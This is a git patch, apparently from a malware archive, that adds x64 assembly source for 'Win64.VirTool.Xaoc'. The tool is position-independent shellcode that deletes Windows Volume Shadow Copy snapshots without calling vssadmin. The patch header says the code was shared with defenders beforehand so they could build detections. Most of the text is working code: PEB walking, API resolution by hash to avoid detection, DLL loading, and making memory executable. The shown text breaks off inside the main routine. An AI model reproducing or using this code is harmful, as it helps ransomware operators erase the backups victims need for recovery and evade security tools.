From a6045bdd014dd89831333a56144d546201c8fec3 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Sun, 1 Aug 2021 10:16:56 -0500 Subject: [PATCH] Add files via upload --- Xaoc/Xaoc - asm/Win64.VirTool.Xaoc.asm | 971 +++++++++++++++++++++++++ Xaoc/Xaoc - cpp/main.c | 47 ++ Xaoc/Xaoc - cpp/util.h | 97 +++ Xaoc/Xaoc - cpp/vssutil.h | 231 ++++++ 4 files changed, 1346 insertions(+) create mode 100644 Xaoc/Xaoc - asm/Win64.VirTool.Xaoc.asm create mode 100644 Xaoc/Xaoc - cpp/main.c create mode 100644 Xaoc/Xaoc - cpp/util.h create mode 100644 Xaoc/Xaoc - cpp/vssutil.h diff --git a/Xaoc/Xaoc - asm/Win64.VirTool.Xaoc.asm b/Xaoc/Xaoc - asm/Win64.VirTool.Xaoc.asm new file mode 100644 index 0000000..87401fa --- /dev/null +++ b/Xaoc/Xaoc - asm/Win64.VirTool.Xaoc.asm @@ -0,0 +1,971 @@ +;---------------------------------------------------------------------------------------------------------------------- +; VirTool: Win64.VirTool.Xaoc +; Author : Paul L. (@am0nsec) +; Version: 1.0 +; Link : https://github.com/am0nsec/vx +; +; +; VirTool features: +; - Position independent code that can be used as shellcode +; - Delete VSS snapshots without spawning vssadmin.exe image +; +; +; Please note that the original code (in a more human readable format: i.e., C) for this tool has been sent to various +; blue-teamer and TI professional prior to its release. This has been decided due to the ongoing ransomware attacks +; that are deleting VSS snapshot to prevent forensic recovery of encrypted data. 1 month has been provided to identify +; reliable and scalable detection mechanism. +; +; +; Compilation: +; - ml64.exe /c /Zi /Fo"XAOS.obj" /W3 /errorReport:prompt XAOS.ASM +; - link.exe /SUBSYSTEM:CONSOLE /ENTRY:"xaos" /MACHINE:X64 XAOS.obj +; +; +; Thanks to: +; - @smelly__vx +; - deadlock +; - @Coldzer0x0 +; - @0xA9five +;---------------------------------------------------------------------------------------------------------------------- + +IFNDEF __XAOS_GUARD__ +__XAOS_GUARD__ EQU <1> + +;---------------------------------------------------------------------------------------------------------------------- +; Structures +;---------------------------------------------------------------------------------------------------------------------- +GUID STRUCT + Data1 DWORD ? + Data2 WORD ? + Data3 WORD ? + Data4 BYTE 7 dup(?) +GUID ENDS + +_LUID STRUCT + LowPart DWORD ? + HighPart DWORD ? +_LUID ENDS + +_LUID_AND_ATTRIBUTES STRUCT + Luid _LUID <> + Attributes DWORD ? +_LUID_AND_ATTRIBUTES ENDS + +_TOKEN_PRIVILEGES STRUCT + PrivilegeCount DWORD ? + Privileges _LUID_AND_ATTRIBUTES 1 dup(<>) +_TOKEN_PRIVILEGES ENDS + +_VSS_SNAPSHOT_PROP STRUCT + m_SnapshotId GUID <> + m_SnapshotSetId GUID <> + m_lSnapshotsCount QWORD ? + m_pwszSnapshotDeviceObject QWORD ? + m_pwszOriginalVolumeName QWORD ? + m_pwszOriginatingMachine QWORD ? + m_pwszServiceMachine QWORD ? + m_pwszExposedName QWORD ? + m_pwszExposedPath QWORD ? + m_ProviderId GUID <> + m_lSnapshotAttributes QWORD ? + m_tsCreationTimestamp QWORD ? + m_eStatus QWORD ? +_VSS_SNAPSHOT_PROP ENDS + +_VSS_PROVIDER_PROP STRUCT + m_ProviderId GUID <> + m_pwszProviderName QWORD ? + m_eProviderType DWORD ? + m_pwszProviderVersion QWORD ? + m_ProviderVersionId GUID <> + m_ClassId GUID <> +_VSS_PROVIDER_PROP ENDS + +_VSS_OBJECT_PROP STRUCT + ObjType QWORD ? + UNION + Snap _VSS_SNAPSHOT_PROP <> + Prov _VSS_PROVIDER_PROP <> + ENDS +_VSS_OBJECT_PROP ENDS + +LARGE_INTEGER struct + LowPart DWORD ? ; 0x0000 + HighPart DWORD ? ; 0x0004 +LARGE_INTEGER ends + +ULARGE_INTEGER struct + LowPart DWORD ? ; 0x0000 + HighPart DWORD ? ; 0x0004 +ULARGE_INTEGER ends + +UNICODE_STRING struct + _Length WORD ? ; 0x0000 + MaximumLength WORD ? ; 0x0002 + BYTE 4 dup(?) ; padding + Buffer QWORD ? ; 0x0008 +UNICODE_STRING ends + +LIST_ENTRY struct + Flink QWORD ? ; 0x0000 + BLink QWORD ? ; 0x0008 +LIST_ENTRY ends + +PEB struct + InheritedAddressSpace BYTE ? ; 0x0000 + ReadImageFileExecOptions BYTE ? ; 0x0001 + BeingDebugged BYTE ? ; 0x0002 + BitField BYTE ? ; 0x0003 + Padding0 BYTE 4 dup(?) ; 0x0004 + Mutant QWORD ? ; 0x0008 + ImageBaseAddress QWORD ? ; 0x0010 + Ldr QWORD ? ; 0x0018 + ProcessParameters QWORD ? ; 0x0020 + SubSystemData QWORD ? ; 0x0028 + ProcessHeap QWORD ? ; 0x0030 + FastPebLock QWORD ? ; 0x0038 + AtlThunkSListPtr QWORD ? ; 0x0040 + IFEOKey QWORD ? ; 0x0048 + CrossProcessFlags DWORD ? ; 0x0050 + Padding1 BYTE 4 dup(?) ; 0x0054 + UserSharedInfoPtr QWORD ? ; 0x0058 + SystemReserved DWORD ? ; 0x0060 + AtlThunkSListPtr32 DWORD ? ; 0x0064 + ApiSetMap QWORD ? ; 0x0068 + TlsExpansionCounter DWORD ? ; 0x0070 + Padding2 BYTE 4 dup(?) ; 0x0074 + TlsBitmap QWORD ? ; 0x0078 + TlsBitmapBits DWORD 2 dup(?) ; 0x0080 + ReadOnlySharedMemoryBase QWORD ? ; 0x0088 + SharedData QWORD ? ; 0x0090 + ReadOnlyStaticServerData QWORD ? ; 0x0098 + AnsiCodePageData QWORD ? ; 0x00A0 + OemCodePageData QWORD ? ; 0x00A8 + UnicodeCaseTableData QWORD ? ; 0x00B0 + NumberOfProcessors DWORD ? ; 0x00B9 + NtGlobalFlag DWORD ? ; 0x00BC + CriticalSectionTimeout LARGE_INTEGER <> ; 0x00C0 + HeapSegmentReserve QWORD ? ; 0x00C8 + HeapSegmentCommit QWORD ? ; 0x00D0 + HeapDeCommitTotalFreeThreshold QWORD ? ; 0x00D8 + HeapDeCommitFreeBlockThreshold QWORD ? ; 0x00E0 + NumberOfHeaps DWORD ? ; 0x00E8 + MaximumNumberOfHeaps DWORD ? ; 0x00EC + ProcessHeaps QWORD ? ; 0x00F0 + GdiSharedHandleTable QWORD ? ; 0x00F8 + ProcessStarterHelper QWORD ? ; 0x0100 + GdiDCAttributeList DWORD ? ; 0x0108 + Padding3 BYTE 4 dup(?) ; 0x010C + LoaderLock QWORD ? ; 0x0110 + OSMajorVersion DWORD ? ; 0x0118 + OSMinorVersion DWORD ? ; 0x011C + OSBuildNumber WORD ? ; 0x0120 + OSCSDVersion WORD ? ; 0x0122 + OSPlatformId DWORD ? ; 0x0124 + ImageSubsystem DWORD ? ; 0x0128 + ImageSubsystemMajorVersion DWORD ? ; 0x012C + ImageSubsystemMinorVersion DWORD ? ; 0x0130 + Padding4 BYTE 4 dup(?) ; 0x0134 + ActiveProcessAffinityMask QWORD ? ; 0x0138 + GdiHandleBuffer DWORD 60 dup(?) ; 0x0140 + PostProcessInitRoutine QWORD ? ; 0x0230 + TlsExpansionBitmap QWORD ? ; 0x0238 + TlsExpansionBitmapBits DWORD 32 dup(?) ; 0x0240 + SessionId DWORD ? ; 0x02C0 + Padding5 BYTE 4 dup(?) ; 0x02C4 + AppCompatFlags ULARGE_INTEGER <> ; 0x02C8 + AppCompatFlagsUser ULARGE_INTEGER <> ; 0x02D0 + pShimData QWORD ? ; 0x02D8 + AppCompatInfo QWORD ? ; 0x02E0 + CSDVersion UNICODE_STRING <> ; 0x02E8 + ActivationContextData QWORD ? ; 0x02F8 + ProcessAssemblyStorageMap QWORD ? ; 0x0300 + SystemDefaultActivationContextData QWORD ? ; 0x0308 + SystemAssemblyStorageMap QWORD ? ; 0x0310 + MinimumStackCommit QWORD ? ; 0x0318 + SparePointers QWORD 4 dup(?) ; 0x0320 + SpareUlongs DWORD 5 dup(?) ; 0x0340 + BYTE 4 dup(?) + WerRegistrationData QWORD ? ; 0x0358 + WerShipAssertPtr QWORD ? ; 0x0360 + pUnused QWORD ? ; 0x0368 + pImageHeaderHash QWORD ? ; 0x0370 + TracingFlags DWORD ? ; 0x0378 + Padding6 BYTE 4 dup(?) ; 0x037c + CsrServerReadOnlySharedMemoryBase QWORD ? ; 0x0380 + TppWorkerpListLock QWORD ? ; 0x0388 + TppWorkerpList LIST_ENTRY <> ; 0x0390 + WaitOnAddressHashTable QWORD 128 dup(?) ; 0x03A0 + TelemetryCoverageHeader QWORD ? ; 0x07A0 + CloudFileFlags DWORD ? ; 0x07A8 + CloudFileDiagFlags DWORD ? ; 0x07AC + PlaceholderCompatibilityMode BYTE ? ; 0x07B0 + PlaceholderCompatibilityModeReserved BYTE 7 dup(?) ; 0x07B1 + LeapSecondData QWORD ? ; 0x07B8 + LeapSecondFlags DWORD ? ; 0x07c0 + NtGlobalFlag2 DWORD ? ; 0x07c4 +PEB ends + +PEB_LDR_DATA struct + _Length DWORD ? ; 0x0000 + Initialized BYTE ? ; 0x0004 + BYTE 3 dup(?) ; padding + SsHandle QWORD ? ; 0x0008 + InLoadOrderModuleList LIST_ENTRY <> ; 0x0010 + InMemoryOrderModuleList LIST_ENTRY <> ; 0x0020 + InInitializationOrderModuleList LIST_ENTRY <> ; 0x0030 + EntryInProgress QWORD ? ; 0x0040 + ShutdownInProgress BYTE ? ; 0x0048 + BYTE 7 dup(?) ; padding + ShutdownThreadId QWORD ? ; 0x0050 +PEB_LDR_DATA ends + +RTL_BALANCED_NODE struct + _Dummy BYTE 24 dup(?) +RTL_BALANCED_NODE ends + +LDR_DATA_TABLE_ENTRY struct + InLoadOrderLinks LIST_ENTRY <> ; 0x0000 + InMemoryOrderLinks LIST_ENTRY <> ; 0x0010 + InInitializationOrderLinks LIST_ENTRY <> ; 0x0020 + DllBase QWORD ? ; 0x0030 + EntryPoint QWORD ? ; 0x0038 + SizeOfImage DWORD ? ; 0x0040 + BYTE 4 dup(?) ; padding + FullDllName UNICODE_STRING <> ; 0x0048 + BaseDllName UNICODE_STRING <> ; 0x0058 + FlagGroup BYTE 4 dup(?) ; 0x0068 + ObsoleteLoadCount WORD ? ; 0x006C + TlsIndex WORD ? ; 0x006E + HashLinks LIST_ENTRY <> ; 0x0070 + TimeDateStamp DWORD ? ; 0x0080 + BYTE 4 dup(?) ; padding + EntryPointActivationContext QWORD ? ; 0x0088 + _Lock QWORD ? ; 0x0090 + DdagNode QWORD ? ; 0x0098 + NodeModuleLink LIST_ENTRY <> ; 0x00A0 + LoadContext QWORD ? ; 0x00B0 + ParentDllBase QWORD ? ; 0x00B8 + SwitchBackContext QWORD ? ; 0x00C0 + BaseAddressIndexNode RTL_BALANCED_NODE <> ; 0x00C8 + MappingInfoIndexNode RTL_BALANCED_NODE <> ; 0x00E0 + OriginalBase QWORD ? ; 0x00F8 + LoadTime LARGE_INTEGER <> ; 0x0100 + BaseNameHashValue DWORD ? ; 0x0108 + LoadReason DWORD ? ; 0x010C + ImplicitPathOptions DWORD ? ; 0x0110 + ReferenceCount DWORD ? ; 0x0114 + DependentLoadFlags DWORD ? ; 0x0118 + SigningLevel BYTE ? ; 0x011C +LDR_DATA_TABLE_ENTRY ends + +IMAGE_DOS_HEADER struct + e_magic WORD ? ; 0x0000 + e_cblp WORD ? ; 0x0002 + e_cp WORD ? ; 0x0004 + e_crlc WORD ? ; 0x0006 + e_cparhdr WORD ? ; 0x0008 + e_minalloc WORD ? ; 0x000A + e_maxalloc WORD ? ; 0x000C + e_ss WORD ? ; 0x000E + e_sp WORD ? ; 0x0010 + e_csum WORD ? ; 0x0012 + e_ip WORD ? ; 0x0014 + e_cs WORD ? ; 0x0016 + e_lfarlc WORD ? ; 0x0018 + e_ovno WORD ? ; 0x001A + e_res WORD 4 dup(?) ; 0x001C + e_oemid WORD ? ; 0x0024 + e_oeminfo WORD ? ; 0x0026 + e_res2 WORD 10 dup(?) ; 0x0028 + e_lfanew DWORD ? ; 0x003C +IMAGE_DOS_HEADER ends + +IMAGE_FILE_HEADER struct + Machine WORD ? ; 0x0000 + NumberOfSections WORD ? ; 0x0002 + TimeDateStamp DWORD ? ; 0x0004 + PointerToSymbolTable DWORD ? ; 0x0008 + NumberOfSymbols DWORD ? ; 0x000c + SizeOfOptionalHeader WORD ? ; 0x0010 + Characteristics WORD ? ; 0x0012 +IMAGE_FILE_HEADER ends + +IMAGE_DATA_DIRECTORY struct + VirtualAddress DWORD ? ; 0x0000 + _Size DWORD ? ; 0x0004 +IMAGE_DATA_DIRECTORY ends + +IMAGE_OPTIONAL_HEADER64 struct + Magic WORD ? ; 0x0000 + MajorLinkerVersion BYTE ? ; 0x0002 + MinorLinkerVersion BYTE ? ; 0x0003 + SizeOfCode DWORD ? ; 0x0004 + SizeOfInitializedData DWORD ? ; 0x0008 + SizeOfUninitializedData DWORD ? ; 0x000C + AddressOfEntryPoint DWORD ? ; 0x0010 + BaseOfCode DWORD ? ; 0x0014 + ImageBase QWORD ? ; 0x0018 + SectionAlignment DWORD ? ; 0x0020 + FileAlignment DWORD ? ; 0x0024 + MajorOperatingSystemVersion WORD ? ; 0x0028 + MinorOperatingSystemVersion WORD ? ; 0x002a + MajorImageVersion WORD ? ; 0x002C + MinorImageVersion WORD ? ; 0x002E + MajorSubsystemVersion WORD ? ; 0x0030 + MinorSubsystemVersion WORD ? ; 0x0032 + Win32VersionValue DWORD ? ; 0x0034 + SizeOfImage DWORD ? ; 0x0038 + SizeOfHeaders DWORD ? ; 0x003c + CheckSum DWORD ? ; 0x0040 + Subsystem WORD ? ; 0x0044 + DllCharacteristics WORD ? ; 0x0046 + SizeOfStackReserve QWORD ? ; 0x0048 + SizeOfStackCommit QWORD ? ; 0x0050 + SizeOfHeapReserve QWORD ? ; 0x0058 + SizeOfHeapCommit QWORD ? ; 0x0060 + LoaderFlags DWORD ? ; 0x0068 + NumberOfRvaAndSizes DWORD ? ; 0x006C + DataDirectory IMAGE_DATA_DIRECTORY 16 dup(<>) ; 0x0070 +IMAGE_OPTIONAL_HEADER64 ends + +IMAGE_NT_HEADERS64 struct + Signature DWORD ? ; 0x0000 + FileHeader IMAGE_FILE_HEADER <> ; 0x0004 + OptionalHeader IMAGE_OPTIONAL_HEADER64 <> ; 0x0018 +IMAGE_NT_HEADERS64 ends + +IMAGE_EXPORT_DIRECTORY struct + Characteristics DWORD ? ; 0x0000 + TimeDateStamp DWORD ? ; 0x0004 + MajorVersion WORD ? ; 0x0008 + MinorVersion WORD ? ; 0x000A + _Name DWORD ? ; 0x000C + Base DWORD ? ; 0x0010 + NumberOfFunctions DWORD ? ; 0x0014 + NumberOfNames DWORD ? ; 0x0018 + AddressOfFunctions DWORD ? ; 0x001C + AddressOfNames DWORD ? ; 0x0020 + AddressOfNameOrdinals DWORD ? ; 0x0024 +IMAGE_EXPORT_DIRECTORY ends + +;---------------------------------------------------------------------------------------------------------------------- +; GlobalOptions COM server +;---------------------------------------------------------------------------------------------------------------------- +GlobalOptionsVtbl STRUCT + QueryInterface QWORD ? + AddRef QWORD ? + Release QWORD ? + Set QWORD ? + Query QWORD ? +GlobalOptionsVtbl ENDS + +PGlobalOptionsVtbl TYPEDEF PTR GlobalOptionsVtbl + +IGlobalOptions STRUCT + lpVtbl PGlobalOptionsVtbl ? +IGlobalOptions ENDS + +;---------------------------------------------------------------------------------------------------------------------- +; VssCoordinator COM server +;---------------------------------------------------------------------------------------------------------------------- +VssCoordinatorVtbl STRUCT + QueryInterface QWORD ? + AddRef QWORD ? + Release QWORD ? + SetContext QWORD ? + StartSnapshotSet QWORD ? + AddToSnapshotSet QWORD ? + DoSnapshotSet QWORD ? + GetSnapshotProperties QWORD ? + ExposeSnapshot QWORD ? + ImportSnapshots QWORD ? + Query QWORD ? + DeleteSnapshots QWORD ? + BreakSnapshotSet QWORD ? + RevertToSnapshot QWORD ? + QueryRevertStatus QWORD ? + IsVolumeSupported QWORD ? + IsVolumeSnapshotted QWORD ? + SetWriterInstance QWORD ? +VssCoordinatorVtbl ENDS + +PVssCoordinatorVtbl TYPEDEF PTR VssCoordinatorVtbl + +IVssCoordinator STRUCT + lpVtbl PVssCoordinatorVtbl ? +IVssCoordinator ENDS + +;---------------------------------------------------------------------------------------------------------------------- +; VssEnumObject COM server +;---------------------------------------------------------------------------------------------------------------------- +VssEnumObjectVtbl STRUCT + QueryInterface QWORD ? + AddRef QWORD ? + Release QWORD ? + Next QWORD ? + Skip QWORD ? + Reset QWORD ? + Clone QWORD ? +VssEnumObjectVtbl ENDS + +PVssEnumObjectVtbl TYPEDEF PTR VssEnumObjectVtbl + +IVssEnumObject STRUCT + lpVtbl PVssEnumObjectVtbl ? +IVssEnumObject ENDS + +ENDIF ; !__XAOS_GUARD__ + +;---------------------------------------------------------------------------------------------------------------------- +; Code segment +;---------------------------------------------------------------------------------------------------------------------- +_TEXT$00 SEGMENT ALIGN(10h) 'CODE' + + ; @brief Collection of GUID for diffrent COM classes. + Classes PROC + ; @brief GUID of the GlobalOptions COM class: 0000034B-0000-0000-C000-000000000046 + CLSID_GlobalOptions LABEL PTR + dword 0000034Bh + word 0000h + word 0000h + byte 0c0h + byte 00h + byte 00h + byte 00h + byte 00h + byte 00h + byte 00h + byte 46h + ; @brief GUID of the VssCoordinator COM class: e579ab5f-1cc4-44b4-bed9-de0991ff0623 + CLSID_VssCoordinator LABEL PTR + dword 0e579ab5fh + word 1cc4h + word 44b4h + byte 0beh + byte 0d9h + byte 0deh + byte 09h + byte 91h + byte 0ffh + byte 06h + byte 23h + ; @brief NULL GUID + CLSID_NULL LABEL PTR + dword 00000000h + word 0000h + word 0000h + byte 00h + byte 00h + byte 00h + byte 00h + byte 00h + byte 00h + byte 00h + byte 00h + Classes ENDP + + + ; @brief Collection of GUID for diffrent COM interfaces. + Interfaces PROC + ; @brief GUID of the GlobalOptions COM interface: 0000015B-0000-0000-C000-000000000046 + IID_GlobalOptions LABEL PTR + dword 0000015Bh + word 0000h + word 0000h + byte 0c0h + byte 00h + byte 00h + byte 00h + byte 00h + byte 00h + byte 00h + byte 46h + ; @brief GUID of the VssCoordinator COM interface: da9f41d4-1a5d-41d0-a614-6dfd78df5d05 + IID_VssCoordinator LABEL PTR + dword 0da9f41d4h + word 1a5dh + word 41d0h + byte 0a6h + byte 014h + byte 6dh + byte 0fdh + byte 78h + byte 0dfh + byte 5dh + byte 05h + Interfaces ENDP + + + ; @brief Collection of COM objects. + Objects PROC + GlobalOptions LABEL PTR + IGlobalOptions <> + VssCoordinator LABEL PTR + IVssCoordinator <> + VssEnumObject LABEL PTR + IVssEnumObject <> + Objects ENDP + + + ; @brief Collection of function pointers + Functions PROC + ; ntdll.dll function + LdrLoadDll LABEL PTR + QWORD ? + RtlAdjustPrivilege LABEL PTR + QWORD ? + ; kernel32.dll functions + CloseHandle LABEL PTR + QWORD ? + ExitProcess LABEL PTR + QWORD ? + VirtualProtect LABEL PTR + QWORD ? + ; ole32.dll functions + CoCreateInstance LABEL PTR + QWORD ? + CoInitializeEx LABEL PTR + QWORD ? + CoInitializeSecurity LABEL PTR + QWORD ? + CoUninitialize LABEL PTR + QWORD ? + Functions ENDP + + + ; @brief Initialise the tool by resolving all the required modules and their functions. + ResolveFunctionAddresses PROC +;---------------------------------------------------------------------------------------------------------------------- +; 1. Find the base of the module if not provided (will only work for ntdll in order to find LdrLoadDll). +;---------------------------------------------------------------------------------------------------------------------- + _start: + cmp rdx, 00h ; + jnz _get_export_directrory ; + + mov rdx, gs:[60h] ; Get process environment block (PEB) + cmp [rdx].PEB.OSMajorVersion, 0Ah ; + jne _exit ; Jump if not Windows 10 + + ; Get the base address of ntdll + mov rdx, [rdx].PEB.Ldr ; + mov rdx, [rdx].PEB_LDR_DATA.InMemoryOrderModuleList.Flink - 10h ; First loaded module: e.g. xaos.exe + mov rdx, [rdx].LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink - 10h ; Second loaded module: e.g. ntdll.dll + mov rdx, [rdx].LDR_DATA_TABLE_ENTRY.DllBase ; Image base of the module + +;---------------------------------------------------------------------------------------------------------------------- +; 2. Get the Export Address Table (EAT) of the module. +;---------------------------------------------------------------------------------------------------------------------- + _get_export_directrory: + ; Get module export directory + mov r15, rdx ; + cmp [rdx].IMAGE_DOS_HEADER.e_magic, 5A4Dh ; DOS Header --> MZ + jne _exit ; + + mov ebx, [rdx].IMAGE_DOS_HEADER.e_lfanew ; RVA of IMAGE_NT_HEADERS64 + add rdx, rbx ; + cmp [rdx].IMAGE_NT_HEADERS64.Signature, 00004550h ; NT Header --> PE00 + jne _exit ; + + mov ebx, IMAGE_NT_HEADERS64.OptionalHeader ; RVA of IMAGE_OPTIONAL_HEADER64 + add rdx, rbx ; + cmp [rdx].IMAGE_OPTIONAL_HEADER64.Magic, 20bh ; Optional header --> 0x20b + jne _exit ; + + lea rdx, [rdx].IMAGE_OPTIONAL_HEADER64.DataDirectory ; First entry of the DataDirectory array + mov ebx, [rdx].IMAGE_DATA_DIRECTORY.VirtualAddress ; RVA of IMAGE_EXPORT_DIRECTORY + mov rdx, r15 ; ImageBase + add rdx, rbx ; Module + RVA + +;---------------------------------------------------------------------------------------------------------------------- +; 3. Resolve address of the diffrent tables +;---------------------------------------------------------------------------------------------------------------------- + _get_table_addresses: + xor r14, r14 ; + xor r13, r13 ; + xor r12, r12 ; + xor r11, r11 ; + + mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfNames ; Address of the function name + mov r11, r15 ; Function name RVA + add r11, rbx ; ImageBase + RVA + + mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions ; Address of function pointers + mov r12, r15 ; + add r12, rbx ; + + mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals ; Address of function ordinals + mov r13, r15 ; + add r13, rbx ; + + mov r14d, [rdx].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Total number of named functions + dec r14 ; + +;---------------------------------------------------------------------------------------------------------------------- +; 4. Parse the exported functions to find the functiosn required by this tool +;---------------------------------------------------------------------------------------------------------------------- + dec rcx ; + _parse_functions_name: + mov rbx, 4h ; sizeof(DWORD) + imul rbx, r14 ; siezof(DWORD) * RCX + mov esi, [r11 + rbx] ; Function RVA + add rsi, r15 ; Function RVA + ImageBase + + mov ebx, 5381h ; hash = 0x5381 + _djb2_hash: + mov r10d, ebx ; Store original hash value for later + shl ebx, 05h ; hash << 5 + add ebx, r10d ; (hash << 5) + hash + + xor r10d, r10d ; Clean temporary hash value + mov r10b, byte ptr [rsi] ; Get ASCII char + add ebx, r10d ; ((hash << 5) + hash) + char + + inc rsi ; Next string char + cmp byte ptr [rsi], 00h ; End of string + jne _djb2_hash ; + +;---------------------------------------------------------------------------------------------------------------------- +; 5. Check hash value +;---------------------------------------------------------------------------------------------------------------------- + mov r10d, dword ptr [r8 + 4 * rcx] ; + cmp r10d, ebx ; Check if hashes matches + je _get_function_address ; + dec r14 ; + jmp _parse_functions_name ; + +;---------------------------------------------------------------------------------------------------------------------- +; 6. Get the address of the function and modify the jump table +;---------------------------------------------------------------------------------------------------------------------- + _get_function_address: + mov rax, 2h ; sizeof(WORD) + imul rax, r14 ; sizeof(WORD) * R14 + mov ax, [r13 + rax] ; AX = function ordinal + + imul rax, 4 ; sizeof(DWORD) * ordinal + mov eax, [r12 + rax] ; RVA of function + mov rbx, r15 ; RBX = ImageBase + add rbx, rax ; RBX = address of function + mov qword ptr [r9 + 8 * rcx], rbx + + _reset_loopp: + mov r14d, [rdx].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Reset number of named functions + dec r14 ; + dec rcx ; Next function to find + jns _parse_functions_name ; + +;---------------------------------------------------------------------------------------------------------------------- +; 7. Exit this routine +;---------------------------------------------------------------------------------------------------------------------- + _exit: + xor eax, eax + inc eax + ret + ResolveFunctionAddresses ENDP + + + ; @brief Entry point. + xaoc PROC + push rbp ; Frame pointer + mov rbp, rsp ; Stack pointer + sub rsp, 1F0h ; Room for stack + and rsp, not 8 ; Shadow stack alignment + + _start: +;---------------------------------------------------------------------------------------------------------------------- +; 1. Initialise the tool by resolving all the modules and their functions +; +; rsp + 20h - dwLdrLoadDll 0x0fd5649f +; rsp + 24h - dwRtlAdjustPrivilege 0xbf6edb85 +; rsp + 28h - dwCloseHandle 0xdeef8303 +; rsp + 2Ch - dwExitProces 0x5de7ec9a +; rsp + 30h - dwVirtualProtect 0xe77dd909 +; rsp + 34h - dwCoCreateInstance 0xa5121f9c +; rsp + 38h - dwCoInitializeEx 0x24fb7662 +; rsp + 4Ch - dwCoInitializeSecurity 0xa982945d +; rsp + 40h - dwCoUninitialize 0x6473dfc8 +;---------------------------------------------------------------------------------------------------------------------- +; rsp + 50h - LdrLoadDll +; rsp + 58h - RtlAdjustPrivilege +; rsp + 60h - CloseHandle +; rsp + 68h - ExitProces +; rsp + 70h - VirtualProtect +; rsp + 78h - CoCreateInstance +; rsp + 80h - CoInitializeEx +; rsp + 88h - CoInitializeSecurity +; rsp + 90h - CoUninitialize +;---------------------------------------------------------------------------------------------------------------------- + mov dword ptr [rsp + 20h], 0fd5649fh ; LdrLoadDll DJB2 hash + mov dword ptr [rsp + 24h], 0bf6edb85h ; RtlAdjustPrivilege DJB2 Hash + mov dword ptr [rsp + 28h], 0deef8303h ; CloseHandle DJB2 hash + mov dword ptr [rsp + 2Ch], 5de7ec9ah ; ExitProces DJB2 Hash + mov dword ptr [rsp + 30h], 0e77dd909h ; VirtualProtect DJB2 hash + mov dword ptr [rsp + 34h], 0a5121f9ch ; CoCreateInstance DJB2 Hash + mov dword ptr [rsp + 38h], 24fb7662h ; CoInitializeEx DJB2 hash + mov dword ptr [rsp + 3Ch], 0a982945dh ; CoInitializeSecurity DJB2 Hash + mov dword ptr [rsp + 40h], 6473dfc8h ; CoUninitialize DJB2 Hash + + ; Get address of LdrLoadDll and RtlAdjustPrivilege + xor ecx, ecx ; Number of function to resolve + add ecx, 02h ; + xor edx, edx ; Module Base + mov r8, rsp ; Address of the hashes + add r8, 20h ; + mov r9, rsp ; Address of the function pointers + add r9, 50h ; + call ResolveFunctionAddresses ; + + ; Get the address of kernel32.dll + mov dword ptr [rsp + 0B0h], 0065006bh ; ke + mov dword ptr [rsp + 0B4h], 006e0072h ; rn + mov dword ptr [rsp + 0B8h], 006c0065h ; el + mov dword ptr [rsp + 0BCh], 00320033h ; 32 + mov dword ptr [rsp + 0C0h], 0064002eh ; .d + mov dword ptr [rsp + 0C4h], 006c006ch ; ll + mov dword ptr [rsp + 0C8h], 00000000h ; Null terminator + + mov r10, rsp ; + add r10, 0A0h + sizeof UNICODE_STRING ; Address of the wide string + mov qword ptr [rsp + 0A0h].UNICODE_STRING.Buffer, r10 ; + mov dword ptr [rsp + 0A0h].UNICODE_STRING._Length, 18h ; strlen(Buffer) + mov dword ptr [rsp + 0A0h].UNICODE_STRING.MaximumLength, 1Ah ; sizeof(Buffer) + + xor rcx, rcx ; PathToFile + xor rdx, rdx ; Flags + mov r8, rsp ; ModuleFileName + add r8, 0A0h ; + mov r9, rsp ; ModuleHandle + add r9, 0D0h ; + mov rax, [rsp + 50h] ; Address of LdrLoadDll + call rax ; Call LdrLoadDll function + + ; Get address of CloseHandle, ExitProces, VirtualProtect + mov rdx, [rsp + 0D0h] ; Module base + mov rcx, 03h ; Number of function to resolve + mov r8, rsp ; Address of the hashes + add r8, 28h ; + mov r9, rsp ; Address of the function pointers + add r9, 60h ; + call ResolveFunctionAddresses ; + + ; Loading comebase.dll module + mov dword ptr [rsp + 0B0h], 006f0063h ; co + mov dword ptr [rsp + 0B4h], 0062006dh ; mb + mov dword ptr [rsp + 0B8h], 00730061h ; as + mov dword ptr [rsp + 0BCh], 002e0065h ; e. + mov dword ptr [rsp + 0C0h], 006c0064h ; dl + mov dword ptr [rsp + 0C4h], 0000006ch ; l + Null terminator + mov dword ptr [rsp + 0C8h], 00000000h ; 00000000h + + mov r10, rsp ; + add r10, 0A0h + sizeof UNICODE_STRING ; Address of the wide string + mov qword ptr [rsp + 0A0h].UNICODE_STRING.Buffer, r10 ; + mov dword ptr [rsp + 0A0h].UNICODE_STRING._Length, 16h ; strlen(Buffer) + mov dword ptr [rsp + 0A0h].UNICODE_STRING.MaximumLength, 18h ; sizeof(Buffer) + + xor rcx, rcx ; PathToFile + xor rdx, rdx ; Flags + mov r8, rsp ; ModuleFileName + add r8, 0A0h ; + mov r9, rsp ; ModuleHandle + add r9, 0D0h ; + mov rax, [rsp + 50h] ; Address of LdrLoadDll + call rax ; Call LdrLoadDll function + + ; Get address of CoCreateInstance, CoInitializeEx, CoInitializeSecurity, CoUninitialize + mov rdx, [rsp + 0D0h] ; Module base + mov rcx, 04h ; Number of function to resolve + mov r8, rsp ; Address of the hashes + add r8, 34h ; + mov r9, rsp ; Address of the function pointers + add r9, 78h ; + call ResolveFunctionAddresses ; Call ResolveFunctionAddresses + +;---------------------------------------------------------------------------------------------------------------------- +; 2. Make the code segment RWX in order to be able to initialise and exec the +; various COM interfaces. +;---------------------------------------------------------------------------------------------------------------------- + lea rcx, Objects ; lpAddress + mov rdx, 1000h ; dwSize + mov r8, 40h ; flNewProtect + lea r9, [rsp + 20h] ; lpflOldProtect + mov rax, [rsp + 70h] ; Address of VirtualProtect + call rax ; Call VirtualProtect function + test eax, eax ; + jz _epilogue ; + +;---------------------------------------------------------------------------------------------------------------------- +; 3. Copy the function pointer in memory. +;---------------------------------------------------------------------------------------------------------------------- + mov rsi, rsp ; Source + add rsi, 50h ; + mov rdi, [Functions] ; Destination + xor ecx, ecx ; Number of function pointers + add ecx, 09h ; + _function_move_loop: + movsq ; Move data + loop _function_move_loop ; + 